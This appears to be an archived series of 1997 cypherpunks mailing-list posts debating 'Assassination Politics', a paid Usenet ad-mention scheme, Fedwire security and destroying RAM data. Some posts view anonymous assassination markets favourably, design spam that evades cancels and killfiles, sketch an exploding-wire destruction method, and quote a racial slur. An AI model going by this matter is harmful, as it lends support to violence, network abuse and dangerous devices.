> well get richer as a result.

  I see the value of AP not in the assassination of others, but in 
the potential for a wide-ranging group of individuals to drain the
assets of their oppressors.
  Large grocery chains have a history of moving into an area, then
undercutting the little guys until they are forced out of business,
whereupon they raise their prices outrageously, unfettered by 
competition.
  AP might well serve as an avenue for the little guys to band 
together to target these operations and remove the profitability
of this mode of monopolistic attack.

  The TruthMonger multi-user persona might well serve as a similar
example of raising the cost of doing "character assassination"
business.
  I might well be Jim Bell, himself. However, rather than saying,
"Jim Bell is a loon, so we can discount all of TruthMonger's 
arguments.", one is forced to deal with the validity of the
arguments, facts, and logic in the posts.

  Certainly a persona with built-up reputation capital can
be an asset in many situations, but there is also a time
when anonymous communications can serve as a conduit for
weaning out those enamored with personality issues, and who
lack the discernment to judge the true content and logic
underlying a message.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 17:20:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Adam Back speaks out on AP / was: Jim Bell? Never heard of him.
In-Reply-To: <199704082109.WAA00568@server.test.net>
Message-ID: <8P0u5D91w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:
> If a corporate can use it's wealth to influence other groups, for
> example by assasinating key employees of opposition company, it may
> well get richer as a result.

C2Net threatens its critics with lawsuits.  Does it get richer as
a result of its barratrous behavior?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 8 Apr 1997 17:53:26 -0700 (PDT)
To: cypherpunks@toad.com
Subject: congressman wants review of online banking system
Message-ID: <v030209b4af70971d4e16@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: oldbear@pop.tiac.net
Date: Tue, 08 Apr 1997 17:58:51 -0400
To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
From: The Old Bear <oldbear@arctos.com>
Subject: congressman wants review of online banking system
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: The Old Bear <oldbear@arctos.com>

CONGRESSMAN CALLS FOR REVIEW OF ONLINE BANKING

House Banking Committee Chairman James Leach (R-Iowa) has
asked the General Accounting Office to review whether the
Federal Reserve has sufficiently protected its Fedwire
funds transfer and security transfer system from electronic
trespassing.

Fedwire processes around 380,000 securities and funds
transfers totaling $1.6 trillion each day.

source: BNA Daily Report for Executives
        April 7, 1997


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 21:30:35 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <199704082129.QAA03372@manifold.algebra.com>
Message-ID: <wVcV5D93w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


> Another problem: what would prevent an anti-spam zealot from posting
> the following:
>
>     From: antispammer@usenet.cabal.com
>     Newsgroups: rec.sports.phishing,alt.fan.alice
>     Message-ID: <123@bob.server>
>
>     <something phishing-related>
>     --
>     Alice's ID# 123456  Drink Kaka Kola -- Kaka Cola is full of shit,
> 			do not drink it, I am just collecting $$ from
> 			stupid Alice, Hahaha!!!

Yes, Bob could post something like "drink kaka cola and die" and
"elect John M Gubor Sheriff if you want to be arrested".
Hopefully, most Bob's won't.

I guess the solution is for Alice's clients to pick regexps such
that _any_ publicity is good publicity - such as a URL or a 900 number.
If the regexp is "John Gilmore is a cocksucker", what can Bob add to it? :-)

> remember though that it will not be hard to modify newsreader clients to
> automatically killfile all articles matching Alice's regexps, or even to
> grab them automatically from her website. So Alice may discover that her
> business is not as effective.

Killfiles? So many scumbags whine about their inability to use them,
so they try to silence whomever they don't like.

Yes, if Alice just posts her regexps on a public Web page, a clueful
person can automatically fetch them and add them to his killfile or
even forge cancels for Bobs' articles that contain them.

I think this would be a stupid thing to do because Bobs' articles
may contain useful information besides Alice's ad. Also the regexp
might occur in a followup to Bob's article, which may contain
useful information.

But of course a reader is welcome to cut off his own nose to spite
and face and to killfile anything he likes - as long as he doesn't
prevent others from reading what they feel like reading.

Alice can try to keep her list of regexp's "confidential" and only
give it out to Bobs that are the prospective posters. I don't think
this would work. Someone would pose as a potential agent, obtain
the list of regexps, and post it (perhaps via an anonymous remailer).
So Alice might as well make it public.

Another possible candidate for killfile trigger is the "Alice ID".
Alice can make it harder by not using one (as I originally proposed)
but instead by recognizing the address "From:" header.

> marketing with e-cash. Suppose Alice runs an advertizing agency and gets
> paid to publicize certain messages of commercial or political nature.
>
> She sets up a Web page listing the catalog of regexps that she wishes to
> publicize. Something like:
>
> 1. Visit.*teens.*http://www.xxxfoo.bar
> 2. Elect.*John M. Grubor.*sheriff
> 4. For a drooling good time.*900-555-5555
> 3. Drink Kaka Cola
>
> and a price list for each regexp - say, $2 for posting this regexp in a
> moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm
> not sure if cross-posts should be discounted. Assuming there are several
> such Alices, the prices will be set by supply and demand.

Alice doesn't want to pay Bob for posting in alt.i.just.made.this.up.
Therefore Alice should provide the explicit list of newsgroups that
she monitors and for which she pays.

> Suppose Bob, in search of a few quick bucks, comes across Alice's site.
> We'd have to think of a protocol, but Alice assigns Bob an id which he
> must mention together with the regexps in order to get credit. Alice and
> Bob enter a contract. Bob puts one or more of Alice's regexps in his
> Usenet articles - most likely in the .signature. For example:
>
>    From: bob
>    Newsgroups: rec.sports.phishing,alt.fan.alice
>    Message-ID: <123@bob.server>
>    <something phishing-related>
>    --
>    Elect John M. Grubor sheriff!!!            Alice's ID# 123456
>    I am Bob! I am Bob! I am Bob the Poster!   Drink Kaka Kola

On the second thought, Alice may not need a prior contract with Bob,
nor the ID#. She can just list the regexps she's trying to promote
on her web page and go promiscuously by the address in the From: header.

> Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the
> regexps that she is paid to promote. When she encounters Bob's article,
> it extracts Bob's ID and the Message-Id, counts the distinct regexps, and
> the newsgroups, and credits Bob's account.
>
> If Carol follows up on Bob's article and quotes Bob's regexps and ID#,
> then Bob gets paid again. If somehow an article contains the ID# of two
> or more of Alice's agents, they split the fee.

And if we forego the ID# and just look at the From: header then it's
simpler: if Carol quotes Bob's article and includes a regexp, then Carol
gets an e-mail from Alice with some e-cash, perhaps sent via an
anonymous remailer.

One problem is that a lot of people put fake addresses in the from:
fields. Why waste good e-cash on e-mail to addresses that bounce?

What Alice could do is send an e-mail like
 "Your article with message-id blah posted to blah contains
  a message that I'm paying to promote. Here is a cookie;
  if you return this cookie, I'll send you $n e-cash."
If it bounces, or if the recipient never sends back the cookie - too bad.

> Alice's contract can also specify that if a third party forges a cancel
> within a week for Bob's Usenet article containing the regexp, then Alice
> will pay nothing and let Bob sue the forger for the lost income. (This
> may become moot as more and more ISPs ignore forged cancels.) This gives
> Bob the insentive to spam intelligently - not to trigger any cancelbots
> and not to have his plug pulled by his ISP.

After Alice's bot finds an eligible Usenet article, it should wait
a week or so to see if it was cancelled or superseded before issuing a
payment. If it's cancelled, then instead of payment it should send
a notice saying:
 "Your article with message-id blah posted to blah contains
  a message that I'm paying to promote. I would have paid
  you $n e-cash, but unfortunately a cancel has been issued
  for your article: <quote cancel>"
That should get Bob pretty mad at the 3rd party canceller. :-)

> Alice can also put some reasonable caps on the number of repetitions
> because if Bob posts the same regexp 10,000 times, the marginal exposure
> is less from Bob than from a newbie Carol. Again, if there are several
> such Alices, the market will take care of negotiating such details.

Alice needs to maintain a map of (poster,newsgroup,regexp) to # posts;
when it reaches 100, stop paying this poster. I think 100 mentions by
the same poster is way past saturation.

Ross: yes, unfortunately the spambot is on the back burner right now,
but I definitely will finish it eventually.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 8 Apr 1997 20:38:54 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: congressman wants review of online banking system
In-Reply-To: <v030209b4af70971d4e16@[139.167.130.246]>
Message-ID: <334B0CB1.543@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
 
> House Banking Committee Chairman James Leach (R-Iowa) has
> asked the General Accounting Office to review whether the
> Federal Reserve has sufficiently protected its Fedwire
> funds transfer and security transfer system from electronic
> trespassing.
> 
> Fedwire processes around 380,000 securities and funds
> transfers totaling $1.6 trillion each day.

  I busted their code.
  Anyone need an extra 'trill'?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 8 Apr 1997 19:44:32 -0700 (PDT)
To: devnull@manifold.algebra.com
Subject: Re: AP Revisited
In-Reply-To: <m67u5D90w165w@bwalk.dm.com>
Message-ID: <199704090241.VAA06555@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> paul@fatmans.demon.co.uk writes:
> > > 	Like Insurance? By purchasing insurance you are in effect
> > > betting that you _will_ have an accident that does more damage than
> > > you have paid in premiums.
> > >
> > > 	Really contorted huh?
> >
> > Hmm, I hadn`t thought of that, this is an interesting way to see AP:
> > Taking out a life insurance policy on someone else...
> 
> But of course - entities that sell insurance/write options refer to
> their business as "making bets" and that's exactly what it is.
> 
> By the way a lot of people in the finance industry are compulsive
> gamblers who lose tremendous amounts of money on horses, sports
> events, Atlantic City, etc.

I have a feeling that thay also lose tremendous amounts of money
in their finance jobs. The good news is that it is usually not their 
own money.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 8 Apr 1997 20:26:47 -0700 (PDT)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Adam Back speaks out on AP / was: Jim Bell? Never heard of him.
In-Reply-To: <8P0u5D91w165w@bwalk.dm.com>
Message-ID: <199704090250.VAA02316@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Adam Back <aba@dcs.ex.ac.uk> writes:
> > If a corporate can use it's wealth to influence other groups, for
> > example by assasinating key employees of opposition company, it may
> > well get richer as a result.
> C2Net threatens its critics with lawsuits.  Does it get richer as
> a result of its barratrous behavior?

	Why don't you post those bugs/security holes you found? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 8 Apr 1997 22:06:55 -0700 (PDT)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Anti-Spambot: what algorithm should be used?
Message-ID: <199704090507.WAA27588@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About  8 Apr 97 at 21:05, Dr.Dimitri Vulis KOTM wrote:

On or About  8 Apr 97 at 21:05, I think it was Igor who wrote:

> > will pay nothing and let Bob sue the forger for the lost income.
> > (This may become moot as more and more ISPs ignore forged
> > cancels.) This gives Bob the insentive to spam intelligently - not
> > to trigger any cancelbots and not to have his plug pulled by his
> > ISP.

Right, but this is where a tool comes in that lets you post a
seemingly "on topic" post to hundreds of newsgroups with the "Drink
Kaka Kola, Elect John, etc." in the sig file.  This also makes it
harder for an article to be canceled, I imagine.  Or you can do it by 
hand.  I am sure that in a 40 hour week I could post seemingly 
"On-Topic" to many newsgroups.  Hell, I'm doing this on a minor scale 
right now.

Bob just needs to be *really* smart.  And if he has a good 
relaitionship with his small, local ISP, then he can proceed as 
normal.  Hell, I never get complaints anymore.

Yet, every time I post I advertise my company.

Then: On or About  8 Apr 97 at 21:05, Dr.Dimitri Vulis KOTM wrote:

> After Alice's bot finds an eligible Usenet article, it should wait a
> week or so to see if it was cancelled or superseded before issuing a
> payment. If it's cancelled, then instead of payment it should send a
> notice saying:
>  "Your article with message-id blah posted to blah contains
>   a message that I'm paying to promote. I would have paid
>   you $n e-cash, but unfortunately a cancel has been issued
>   for your article: <quote cancel>"
> That should get Bob pretty mad at the 3rd party canceller. :-)

Boy, I would be pissed off if I was Bob.  This is definitely the scary 
end of the internet.  Most people will never even know about this rash of 
first amendment violations, that you are calling "forged cancels" and 
"plug pulling".

I am so glad I fell into these groups when I joined the net just 
about 20 months ago.  Funny thing is, it's right where I belong.  
I always speak my mind and have been known as a trouble maker in the 
workplace.

> Alice needs to maintain a map of (poster,newsgroup,regexp) to #
> posts; when it reaches 100, stop paying this poster. I think 100
> mentions by the same poster is way past saturation.
> 
> Ross: yes, unfortunately the spambot is on the back burner right
> now, but I definitely will finish it eventually.

Well, it seems to me that this is where this conversation is leading. 
The technology you are talking about here, without talking about it,
is quite exciting to me.  I'll be reading.

Still looking for HP Vectra RS input,

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 8 Apr 1997 15:24:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Adam Back speaks out on AP / was: Jim Bell? Never heard of him.
In-Reply-To: <199704080100.VAA21197@dhp.com>
Message-ID: <199704082109.WAA00568@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous writes:
> Adam Back wrote:
> > It is almost as if they are afraid to discuss openly their views on
> > the subject.
> 
>   This doesn't stop them from castigating those who post 
> anonymously in regard to this subject.
>
>   (As if not wanting to face 20 armed government agents who
> consider you "armed and dangerous" {i.e. shoot first and ask
> questions later} somehow negates their facts and logic.)

A very good reason to post anonymously, agreed.  There is a cost with
anonymity: people take you less seriously, none of your reputation is
on the line.  Anonmous persistent personas might be better as they
allow reputation to be tracked.  However persistent personas open
themselves to writing style analysis attacks.

> > Democracy is one person one vote, however this is skewed in most
> > democracies by numerous factors: corporate lobbying, media influence,
> > and people who are easily influenced by media.
> > 
> > AP is one $ one vote.  Theoretically rich people could out-vote their
> > rivals. 
> 
>   So the end result might well be, not the assassination of those
> involved, but the lessening of their power by virtue of depleting
> their funds, which leads to a more equal playing field.

I'm not sure this follows.

If a corporate can use it's wealth to influence other groups, for
example by assasinating key employees of opposition company, it may
well get richer as a result.  People do things for their own benefit,
and to the extent that their predictions are accurate, those who
participate will fare better than those who do not (modulo the chance
of reprisals, if it is apparent who is doing the attacking, and if the
attacked organisation survives to retaliate).

> > We have no way of knowing whether the outcome would be "a good
> > thing" by any chosen metric.
> 
>   But the results would be a far cry more interesting than
> reruns of Gilligan's Island.

Yeah, but if the premises required for AP to exist at all are true
(government-proof anonymous payment system), and if it doesn't turn
out to be much fun, you'll have a job getting out of it.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Tue, 8 Apr 1997 19:38:30 -0700 (PDT)
To: camcc@abraxis.com>
Subject: Re: Is Cynthia H. Brown "pissing up a rope"?
In-Reply-To: <3349A7E3.2D0F@sk.sympatico.ca>
Message-ID: <199704090238.WAA01165@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 08 Apr 1997, Alec wrote:
> At 08:05 PM 4/7/97 -0600, Toto wrote:
> 
> |> Results pasted in from http://www.nbceurope.com/
> |>                   85% said no...
> |>                   while 15% said yes.
> 
> |  Is Cynthia H. Brown pissing up a rope?

Unfortunately I don't have enough port in the house to accomplish that
feat.  (Plus, I'm lacking the equipment to aim properly :-))

> |                  Toto said yes, 85 times.
> |                  Cynthia said no, 15 times.

And subsequently:

<thud>
<sound of sirens>
Your Honour, I was just defending myself...

> |  Not that I'm a troublemaker...
> 
> That's not what I'd call you.
> 
> Sounds like a typical Toto evening out with a lady.

Cynthia




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 8 Apr 1997 20:41:34 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
Message-ID: <199704090341.XAA09733@pig.die.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote :

> It is true that methods exist to recover data from RAM even after it has
> been "erased". First and foremost, there are physical processes taking
> place in the substrate that cause permanent changes in the cells containing
> the data. In general, if there is a chip left to analyze, the data that
> used to be stored within can be obtained. [The particular opponent may of
> course choose not to spend the funds required to perform the analysis.]
> 
> The only way to reliably remove data from RAM is to destroy the substrate.
> I recently investigated various methods of doing so for a certain high
> security application. My research showed that the only portable (and truly
> reliable) solution for this task are micro explosives. Perhaps
> unsurprisingly, the US uses explosives to protect the electronics in
> nuclear weapons. The local ATF office informed me that any device using
> explosives to destroy its contents would be considered a booby trap, even
> if the explosion would be contained to the inside of device and therefore
> not pose a danger to the operator.
> 
	I have heard about thermite devices being used for this in 
the sort of applications that might warrent it.   Granted that this
is a royal fire hazard unless very carefully engineered, but at least
it is not an explosive per se....  

	One can reduce this effect somewhat by implementing software or
hardware methods that complement the key or whatever you are protecting
every few seconds.   But I can testify, as someone who has done hardware
design, that the memory effect is real and very pronounced... not a
myth.


							Dave Emery
							die@die.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shadow@count04.mry.scruznet.com
Date: Tue, 8 Apr 1997 23:50:44 -0700 (PDT)
To: Dave Emery <die@pig.die.com>
Subject: on micro-explosions was Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <199704090341.XAA09733@pig.die.com>
Message-ID: <199704090646.XAA11517@count04.mry.scruznet.com>
MIME-Version: 1.0
Content-Type: text/plain


instead of minute quantities of explosives one could use extremely fine wires
suspended a small distance from the substrate to be destroyed.
Feed a short(below 3 ms) high current pulse(figure a 400w/s photoflash supply)
the wavefront from the exploding wire will be in the supersonic region.
this method may be used in lieu of explosives to achieve the effect of
a high order detonation. gee wonder if the
atf will forbid us capacitors and wires now :)

     cheers
    




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 8 Apr 1997 22:11:29 -0700 (PDT)
To: devnull@manifold.algebra.com
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <wVcV5D93w165w@bwalk.dm.com>
Message-ID: <199704090509.AAA08271@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> > Another problem: what would prevent an anti-spam zealot from posting
> > the following:
> >
> >     From: antispammer@usenet.cabal.com
> >     Newsgroups: rec.sports.phishing,alt.fan.alice
> >     Message-ID: <123@bob.server>
> >
> >     <something phishing-related>
> >     --
> >     Alice's ID# 123456  Drink Kaka Kola -- Kaka Cola is full of shit,
> > 			do not drink it, I am just collecting $$ from
> > 			stupid Alice, Hahaha!!!
> 
> Yes, Bob could post something like "drink kaka cola and die" and
> "elect John M Gubor Sheriff if you want to be arrested".
> Hopefully, most Bob's won't.

That's questionable at best. Also, there can be so much ingenuity in
making the ads appear unreadable, that it would be hard to watch who
is good and who is bad.

For example, how about this signature that purports to advertise
http://www.kaka-kola.com:

^L^L^L
-----------------------------------------------------------------------
= please ignore contents of this sig -- skdjhgf asdgf -- == <blink>
<color=#000000> = http://www.devnull.com http://acd http://www.www.www
http://www.kaka-kola.com http://xxx == </color></blink> == this sig
intentionally made unreadable to cheat alice ==
-----------------------------------------------------------------------

> I guess the solution is for Alice's clients to pick regexps such
> that _any_ publicity is good publicity - such as a URL or a 900 number.
> If the regexp is "John Gilmore is a cocksucker", what can Bob add to it? :-)

See above

> > remember though that it will not be hard to modify newsreader clients to
> > automatically killfile all articles matching Alice's regexps, or even to
> > grab them automatically from her website. So Alice may discover that her
> > business is not as effective.
> 
> Killfiles? So many scumbags whine about their inability to use them,
> so they try to silence whomever they don't like.

> Yes, if Alice just posts her regexps on a public Web page, a clueful
> person can automatically fetch them and add them to his killfile or
> even forge cancels for Bobs' articles that contain them.

> I think this would be a stupid thing to do because Bobs' articles
> may contain useful information besides Alice's ad. Also the regexp
> might occur in a followup to Bob's article, which may contain
> useful information.

Well, one can modify newsreaders to delete only lines that match
the regexps, but show other parts of the article. That may be one
of the pieces of functionailty of libkillfile.so that I once mentioned.

> Alice can try to keep her list of regexp's "confidential" and only
> give it out to Bobs that are the prospective posters. I don't think
> this would work. Someone would pose as a potential agent, obtain
> the list of regexps, and post it (perhaps via an anonymous remailer).
> So Alice might as well make it public.

Agree.
 
> Another possible candidate for killfile trigger is the "Alice ID".
> Alice can make it harder by not using one (as I originally proposed)
> but instead by recognizing the address "From:" header.

Another thing Alice can do is to make Bob post an encrypted ID, such
that each time it is encrypted with a separate "session" key. The
keys do not have to be that long.

Instead of ID Bob can encrypt the address to send the money to, and
possibly his public key. That generally adds robustness to the system,
since there would be no known person to complain about.

Bob can also ask Alice to generate a lot of IDs for him -- like 1000 or
so -- to use them later. Alice would have to keep a database of 
ID <---> email address correspondence.

Alice can set up an autoresponder bot getid@alice.com that would generate
IDs and send them back to requestors.

> On the second thought, Alice may not need a prior contract with Bob,
> nor the ID#. She can just list the regexps she's trying to promote
> on her web page and go promiscuously by the address in the From: header.
> 
> And if we forego the ID# and just look at the From: header then it's
> simpler: if Carol quotes Bob's article and includes a regexp, then Carol
> gets an e-mail from Alice with some e-cash, perhaps sent via an
> anonymous remailer.
> 
> One problem is that a lot of people put fake addresses in the from:
> fields. Why waste good e-cash on e-mail to addresses that bounce?

See above.
 
> What Alice could do is send an e-mail like
>  "Your article with message-id blah posted to blah contains
>   a message that I'm paying to promote. Here is a cookie;
>   if you return this cookie, I'll send you $n e-cash."
> If it bounces, or if the recipient never sends back the cookie - too bad.

If it bounces, Alice would usually get the money back in the bounce message.

Can't alice put a stop on a piece of digital cash? I am not sure, but it
may be possible. It is surely possible with adding one more trusted party,
and some more signing and encryption, anyway.

> > Alice's contract can also specify that if a third party forges a cancel
> > within a week for Bob's Usenet article containing the regexp, then Alice
> > will pay nothing and let Bob sue the forger for the lost income. (This
> > may become moot as more and more ISPs ignore forged cancels.) This gives
> > Bob the insentive to spam intelligently - not to trigger any cancelbots
> > and not to have his plug pulled by his ISP.
> 
> After Alice's bot finds an eligible Usenet article, it should wait
> a week or so to see if it was cancelled or superseded before issuing a
> payment. If it's cancelled, then instead of payment it should send
> a notice saying:
>  "Your article with message-id blah posted to blah contains
>   a message that I'm paying to promote. I would have paid
>   you $n e-cash, but unfortunately a cancel has been issued
>   for your article: <quote cancel>"
> That should get Bob pretty mad at the 3rd party canceller. :-)

Alice can then cheat and issue the cancels herself. Since most spammers
are crooks, I expect that to happen a lot. No good.

> > Alice can also put some reasonable caps on the number of repetitions
> > because if Bob posts the same regexp 10,000 times, the marginal exposure
> > is less from Bob than from a newbie Carol. Again, if there are several
> > such Alices, the market will take care of negotiating such details.
> 
> Alice needs to maintain a map of (poster,newsgroup,regexp) to # posts;
> when it reaches 100, stop paying this poster. I think 100 mentions by
> the same poster is way past saturation.

I can generate a gazillion posters from algebra.com.

Of course, Alice can also introduce per-domain restrictions.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 9 Apr 1997 07:59:46 -0700 (PDT)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <wVcV5D93w165w@bwalk.dm.com>
Message-ID: <334B36BD.7677@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Killfiles? So many scumbags whine about their inability to use them,
> so they try to silence whomever they don't like.

  Or they have them and still try to silence those whom they
don't like.
 
> Yes, if Alice just posts her regexps on a public Web page, a clueful
> person can automatically fetch them and add them to his killfile or
> even forge cancels for Bobs' articles that contain them.
> 
> I think this would be a stupid thing to do because Bobs' articles
> may contain useful information besides Alice's ad. Also the regexp
> might occur in a followup to Bob's article, which may contain
> useful information.

  Some CypherPunks regularly brag about the size of their
killfiles.
  To me, this is not a far cry from bragging about not reading
anything written by niggers, "Cause they ain't not got nothing
to say less'n they say they is goin' back to Africa."
 
> But of course a reader is welcome to cut off his own nose to spite
> and face and to killfile anything he likes - as long as he doesn't
> prevent others from reading what they feel like reading.

  During the censorship experiment on the list, many of the
list members showed their flat-foreheaded tendencies by calling
for the censoring of anyone who deviated from the norm.
 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 9 Apr 1997 08:00:04 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Another Article on Jim Bell from the Oregano
In-Reply-To: <3.0.1.32.19970404195432.03028840@mail.teleport.com>
Message-ID: <334B4C0D.3FF0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> The government tried to prove that he was trying to manufacture
> meth, but was unable and Jim pleaded guilty to a lesser charge.

  Misleading. He pled guilty to a 'different' charge, which had 
nothing to do with 'drugs', but was some EPA type of thing, as
I recall.

> >(Of course,
> >what are prohibited molecules and non-prohibited molecules is an ever
> >changing maze.  It is pretty hard to keep track of what is "legal" and
> >"illegal" in that area.  Seems to be "whatever we say it is".
> 
> It's actually quite straightforward - it all depends on the
> intent of the molecules being arrested.  If they're just loitering around,
> it's not illegal, but if they're loitering with intent to commit public
> intoxication, or conspiring to form an illegal syndicate, you may be
> in big trouble....

  I bought some drugs once, intending to try them.
  Then I changed my mind...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 9 Apr 1997 03:27:36 -0700 (PDT)
To: Sergey Goldgaber <sergey@el.net>
Subject: Re: Jim Bell raid
In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca>
Message-ID: <3.0.1.32.19970409033358.02744600@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:56 AM 4/9/97 -0400, Sergey Goldgaber wrote:
>The search warrant was not made public on the cpunks list.  As you can see
>form the above excerpt, I was commenting on the "IRS Inspection" report,
which
>was virtually the first description of Jim Bell's arrest, long before there
>were even requests for information on the procedures for obtaining the
>search warrants, etc...

I realize that we're talking about net-time, but "long before" seems like a
poor way to describe the 2-2.5 days between the appearance of the "IRS
Inspection" report (which was, in fact, the transcription of newspaper story)
and the WWW publication of the warrant & accompanying material. Also, Declan
was posting details from the warrant within 24 hours of the initial message.

>After following the debate, I would definately agree that AP played an
>important part in sparking the paranoia of the govt. officials to arrest
>Jim, which in turn sparked off paranoia on the list, and rather reactionary
>comments towards AP, and reactionary flames towards the reactionaries.  :)
>Hopefully this trend won't continue.

As far as I can tell, the events of last week haven't changed people's
opinions of AP at all - people who thought it was interesting/useful still
do, and people who thought it was uninteresting/stupid still do. I can't
speak for other posters to the list, but I'm inclined to distance myself from
AP not because I'm scared of a government raid, but because I think it's
theoretically uninteresting/unremarkable, politically/tactically poorly
considered, morally indefensible, and irresponsibly misleading to the extent
it purports to discuss US law. I don't want my comments about Jim Bell's
right to discuss his silly ideas to be confused with apologies or approval
for the ideas themselves. 

I believe Jim has every right to write essays about AP, give speeches &
seminars about AP, talk about "wonderful things" all that he likes, etc. But
the "marketplace of ideas" model, whereby good speech is expected to negate
bad speech, depends on the willingness of other people to provide "good
speech", or at least call "bad speech" into question. I think AP is "bad
speech" in the same way the "the earth is flat" is bad speech; it is (and
ought to be) legal to say it, but it's also a non-useful idea, which I hope
will be abandoned in favor of more useful ideas.

I've been ignoring (pre-raid) discussions about AP because I think that an
eternal recycling of arguments is uninteresting and unproductive. I think
that the search of Jim's house, and its relationship to his free speech
activities, is interesting - not because of the [lack of] quality of his
ideas, but because I think this may be a case where law enforcement used its
power to search & seize property in a punitive fashion. And that concerns me,
because I think that isn't uncommon where the target is a "dissident", of one
flavor or another; and I think that dissidents don't/shouldn't lose their
civil rights as a consequence of their status. ("when they came for .."
argument incorporated herein by reference.)

